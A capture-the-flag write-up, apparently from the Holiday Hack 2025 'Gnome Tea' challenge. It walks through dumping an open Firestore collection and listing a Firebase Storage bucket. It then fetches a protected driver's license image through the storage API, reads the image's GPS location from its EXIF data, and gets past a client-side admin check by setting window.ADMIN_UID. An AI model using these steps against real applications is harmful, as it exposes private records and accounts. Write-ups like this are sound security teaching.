Pip Sparkletoes: Grizelda Grit-Tooth smiled at my glitter and I swear a toadstool recoiled; is she a gremlin or just practice-snarky?
Titus Toadstool: Reggie Reggae tried teaching mushrooms to sway and accidentally turned them into a mosh pit; the toadstools are filing noise complaints.
Elderick Mossbeard: Steamy Mcsteamface asked for my beard advice and then used it as a napkin—personal grooming is not a public service, Steamy.
Gnom-inator T-800: Rowdy Root-Rouser once tried to convert my algorithms into chants and only managed to confuse the daisies; chanting not compulsory, Rowdy.
Ferdinand Figgypudding: Wizzy Stardust tried to predict my pudding's mood with a crystal sprout and then blamed the mushrooms when it tasted like regret.
Two different gnomes left tea about Barnaby Briefcase noting his password:
Professor Pumpernickel: 😂 I heard Barnaby Briefcase is SO forgetful, he wrote his password on a sticky note and left it at the garden club! It was "MakeRColdOutside123!" - like, seriously Barnaby? That's your password? 🤦♂️
Lil G: 😂 I heard Barnaby Briefcase is SO forgetful, he wrote his password on a sticky note and left it at the garden club! It was "MakeRColdOutside123!" - like, seriously Barnaby? That's your password? 🤦♂️
This isn’t a home town, so I’ll assume it’s a second password for Barnaby.
gnomes Collection
I’ll grab the gnomes collection as well:
oxdf@hacky$ curl -s 'https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/gnomes' > gnomes.json
Here each document represents a gnome, and there are 18:
oxdf@hacky$ cat gnomes.json | jq .documents[].name | wc -l
18
oxdf@hacky$ cat gnomes.json | jq .documents[0]
{
"name": "projects/holidayhack2025/databases/(default)/documents/gnomes/6J2bowmKiNVbITWmR4XsxjH7i492",
"fields": {
"driversLicenseUrl": {
"stringValue": "https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-documents/6J2bowmKiNVbITWmR4XsxjH7i492_drivers_license.jpeg"
},
"bio": {
"stringValue": "An erudite loaf-loving lecturer who measures the stars in crumbs and the weather in yeast. Wears spectacles made from jam jars and teaches fungi philosophy at the Elm Academy."
},
"name": {
"stringValue": "Professor Pumpernickel"
},
"createdAt": {
"timestampValue": "2025-09-30T18:21:46.843Z"
},
"avatarUrl": {
"stringValue": "https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-avatars/6J2bowmKiNVbITWmR4XsxjH7i492_profile.png"
},
"homeLocation": {
"stringValue": "Gnomewood Grove, Dosis Neighborhood"
},
"interests": {
"arrayValue": {
"values": [
{
"stringValue": "gardening"
},
{
"stringValue": "mushrooms"
},
{
"stringValue": "gossip"
}
]
}
},
"email": {
"stringValue": "professorpumpernickel@gnomemail.dosis"
},
"uid": {
"stringValue": "6J2bowmKiNVbITWmR4XsxjH7i492"
}
},
"createTime": "2025-09-30T18:21:46.850133Z",
"updateTime": "2025-09-30T19:19:05.495116Z"
}
Other than the bios’ being pretty funny, the main thing of interest here is the driversLicenseUrl and the email.
Storage Bucket
I am able to download (most of) the drivers license photos from the gnome profiles:
oxdf@hacky$ curl $(cat gnomes.json | jq -r .documents[0].fields.driversLicenseUrl.stringValue) -o ProfessorPumpernickel.jpg
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 241k 100 241k 0 0 995k 0 --:--:-- --:--:-- --:--:-- 991k
oxdf@hacky$ file ProfessorPumpernickel.jpg
ProfessorPumpernickel.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 0x0, segment length 16, baseline, precision 8, 896x550, components
It’s a license:
I can also list all the files in the bucket:
oxdf@hacky$ curl -s "https://firebasestorage.googleapis.com/v0/b/holidayhack2025.firebasestorage.app/o/" -s | jq -r .items[].name
gnome-avatars/6J2bowmKiNVbITWmR4XsxjH7i492_profile.png
gnome-avatars/6nBUHcdxo2fLKSYqYyipr9iCOey2_profile.png
gnome-avatars/7sQlw9l4xUOWSjDTphvLgKVEm0j1_profile.png
gnome-avatars/G5c0vX06WOaEf1YKutqkur4HEU63_profile.png
gnome-avatars/IvLFBZQgo3R6iteLHmShbWmctqo2_profile.png
gnome-avatars/LA5w0EskgSbQyFnlp9OrX8Zovu43_profile.png
gnome-avatars/LOPFa6rXj6eB7uMVHu6IbKARYbe2_profile.png
gnome-avatars/PyxedrsAN2bewsg4Rno9SsCqZHg2_profile.png
gnome-avatars/RQw0hYxlKIhsTUVPyR8ivrM3ls02_profile.png
gnome-avatars/VgJCVlELJ6VfQTxeIt1dR5PWyiX2_profile.png
gnome-avatars/golJeh7xg9YUvcj5nDugTssQPy62_profile.png
gnome-avatars/jlm1nPFV5xWM4jQaokLHDb6K8kj1_profile.png
gnome-avatars/kmoZyOIt7sWgehQC8ovcsxXPWUS2_profile.png
gnome-avatars/l7VS01K9GKV5ir5S8suDcwOFEpp2_profile.png
gnome-avatars/prxA2hBSkhg3dkhkfzvnlGxCCfP2_profile.png
gnome-avatars/pwbhMFuRbkesddTrtT3gVRzv8Ux1_profile.png
gnome-avatars/q6GasKLVBYSo3g4c1mI6qXDpRmv2_profile.png
gnome-avatars/xK25sJX7usSwAJwAjpN8DMfzS872_profile.png
gnome-documents/6J2bowmKiNVbITWmR4XsxjH7i492_drivers_license.jpeg
gnome-documents/6nBUHcdxo2fLKSYqYyipr9iCOey2_drivers_license.jpeg
gnome-documents/7sQlw9l4xUOWSjDTphvLgKVEm0j1_drivers_license.jpeg
gnome-documents/G5c0vX06WOaEf1YKutqkur4HEU63_drivers_license.jpeg
gnome-documents/IvLFBZQgo3R6iteLHmShbWmctqo2_drivers_license.jpeg
gnome-documents/LA5w0EskgSbQyFnlp9OrX8Zovu43_drivers_license.jpeg
gnome-documents/LOPFa6rXj6eB7uMVHu6IbKARYbe2_drivers_license.jpeg
gnome-documents/PyxedrsAN2bewsg4Rno9SsCqZHg2_drivers_license.jpeg
gnome-documents/RQw0hYxlKIhsTUVPyR8ivrM3ls02_drivers_license.jpeg
gnome-documents/VgJCVlELJ6VfQTxeIt1dR5PWyiX2_drivers_license.jpeg
gnome-documents/golJeh7xg9YUvcj5nDugTssQPy62_drivers_license.jpeg
gnome-documents/jlm1nPFV5xWM4jQaokLHDb6K8kj1_drivers_license.jpeg
gnome-documents/kmoZyOIt7sWgehQC8ovcsxXPWUS2_drivers_license.jpeg
gnome-documents/l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg
gnome-documents/prxA2hBSkhg3dkhkfzvnlGxCCfP2_drivers_license.jpeg
gnome-documents/pwbhMFuRbkesddTrtT3gVRzv8Ux1_drivers_license.jpeg
gnome-documents/q6GasKLVBYSo3g4c1mI6qXDpRmv2_drivers_license.jpeg
gnome-documents/xK25sJX7usSwAJwAjpN8DMfzS872_drivers_license.jpeg
There’s 18 licenses and 18 avatars.
Barnaby’s Password
Barnaby’s Photo
I’ll grab the URL for Barnaby’s license:
oxdf@hacky$ cat gnomes.json | jq -r '.documents[] | select (.fields.name.stringValue == "Barnaby Briefcase") | .fields.driversLicenseUrl.stringValue'
https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-documents/l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg
It seems this one has access controls on it:
oxdf@hacky$ curl https://storage.googleapis.com/holidayhack2025.firebasestorage.app/gnome-documents/l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg
<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.get access to the Google Cloud Storage object. Permission 'storage.objects.get' denied on resource (or it may not exist).</Details></Error>
A guide to Firebase Storage download URLs and tokens from Sentinel Stand shows the following URL format:
https://firebasestorage.googleapis.com/v0/b/<storageBucket>/o/image.jpg?alt=media&token=<token>
These are URLs that are meant to be embedded in webpages. Without the GET parameters, it gives information about the image:
oxdf@hacky$ curl "https://firebasestorage.googleapis.com/v0/b/holidayhack2025.firebasestorage.app/o/gnome-documents%2Fl7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg"
{
"name": "gnome-documents/l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg",
"bucket": "holidayhack2025.firebasestorage.app",
"generation": "1759320860397294",
"metageneration": "1",
"contentType": "image/jpeg",
"timeCreated": "2025-10-01T12:14:20.403Z",
"updated": "2025-10-01T12:14:20.403Z",
"storageClass": "REGIONAL",
"size": "291223",
"md5Hash": "XvaCfPRM5KW4FqoInuC5kg==",
"contentEncoding": "identity",
"contentDisposition": "inline; filename*=utf-8''l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg",
"crc32c": "GAnT9A==",
"etag": "CO6duPf8gpADEAE=",
"downloadTokens": "9292c2a3-ef8d-49f3-9b5b-02a076e63fee"
}
By adding ?alt=media to the URL, I get the image:
oxdf@hacky$ curl 'https://firebasestorage.googleapis.com/v0/b/holidayhack2025.firebasestorage.app/o/gnome-documents%2Fl7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg?alt=media' -o BarnabyBriefcase.jpg
It’s a license for Barnaby:
Find Location
Unlike the other license photos I checked, Barnaby’s has GPS data in the EXIF data:
oxdf@hacky$ exiftool BarnabyBriefcase.jpg
ExifTool Version Number : 12.76
File Name : BarnabyBriefcase.jpg
Directory : .
File Size : 291 kB
File Modification Date/Time : 2025:11:12 12:13:50+00:00
File Access Date/Time : 2025:11:12 12:13:50+00:00
File Inode Change Date/Time : 2025:11:12 12:13:50+00:00
File Permissions : -rwxrwx---
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
Make : Toadstool Inc.
Camera Model Name : Glimmerglass Pro
X Resolution : 0
Y Resolution : 0
Resolution Unit : None
Artist : Pip Sparkletoes Photography
Y Cb Cr Positioning : Centered
Copyright : Property of the Gnome Secret Service (GSS)
GPS Version ID : 2.3.0.0
GPS Latitude Ref : South
GPS Longitude Ref : East
XMP Toolkit : Gnomish Tinker Tools v1.2
Digital Source File Type : http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia
Digital Source Type : http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia
Date/Time Original : 2025:09:30 16:20:21+00:00
Date Created : 2025:09:30 16:20:21+00:00
Image Width : 896
Image Height : 550
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 896x550
Megapixels : 0.493
GPS Latitude : 33 deg 27' 53.85" S
GPS Longitude : 115 deg 54' 37.62" E
GPS Position : 33 deg 27' 53.85" S, 115 deg 54' 37.62" E
If I search for “33°27’ 53.85” S, 115°54’ 37.62” E” in Google maps, it finds a spot in Australia:
Zooming in a bit, it’s the exact location for Gnomesville in Google maps:
Gnomesville is an attraction:
Website Admin Access
Site
I’m able to log into the website as Barnaby using the email “barnabybriefcase@gnomemail.dosis” and the password “gnomesville”. The main page (/dashboard) has 18 gnomes:
Clicking on any one goes to /gnome/<id> and shows their information, tea about them, and tea from them:
The “Tea Feed” link (/tea) has the most recent tea:
“Messages” (/messages) has the DMs to and from the current user:
From all I can see just clicking around, there’s nothing new here that I didn’t have access to from Firebase.
Find /admin
At the very bottom of the JavaScript file that runs this app there’s a function that seems to be defining routes:
There’s one that I haven’t seen yet, /admin. If try to visit, Barnaby is not allowed:
Admin Control Source
I’ll look in the source for the string “3loaihgxP0VwCTKmkHHFLe6FZ4m2”, and it shows up in two places. First is here:
, f = "3loaihgxP0VwCTKmkHHFLe6FZ4m2";
return K.useEffect( () => {
const m = () => {
const _ = (e == null ? void 0 : e.uid) === f
, T = window.ADMIN_UID === f;
l(_ || T)
}
;
m();
const v = setInterval(m, 500);
return () => clearInterval(v)
}
f is set to the admin’s user id. The _ is set to be 1 only if the current user’s id is f. T is set to the boolean if window.ADMIN_UID is f. And then it calls l(_ || T). I don’t know what the l function is, but it seems to only care if either of those conditions are true. I don’t have a good way to change the current user’s id, but window.ADMIN_UID is a variable.
The second case where the string shows up looks almost exactly the same, just with different variables:
T = "3loaihgxP0VwCTKmkHHFLe6FZ4m2";
typeof window < "u" && (window.EXPECTED_ADMIN_UID = T),
K.useEffect( () => {
const $ = () => {
const F = (_ == null ? void 0 : _.uid) === T
, le = window.ADMIN_UID === T
, ie = F || le;
v(ie),
ie && !o && j()
}
;
$();
const H = setInterval($, 500);
return () => clearInterval(H)
}
It needs either the current user id or window.ADMIN_UID to get set to the target admin id to be true.
Admin Access
In the dev tools console, window.ADMIN_UID is undefined:
I’ll set it:
The message shows that something changed (and gives the flag).
Back in the main site, there’s now an Admin option in the menu bar:
And that page has information about the site:
Including the flag for this challenge, “GigGigglesGiggler”.
Outro
Gnome Tea
Congratulations! You have completed the Gnome Tea challenge!
Thomas can now advance his investigation:
Thomas Bouve
Excellent! Now we can communicate with the gnomes. When I tried to talk to one just now it said “passphrase accepted”.
I asked what they were up to and it said something about going to the old warehouse/data center at the appointed time for the next meeting. No clue what that means though.
Anyhoo, that’s a pretty big item you helped remove from my pile of unfinished hacking projects. I really appreciate the assist!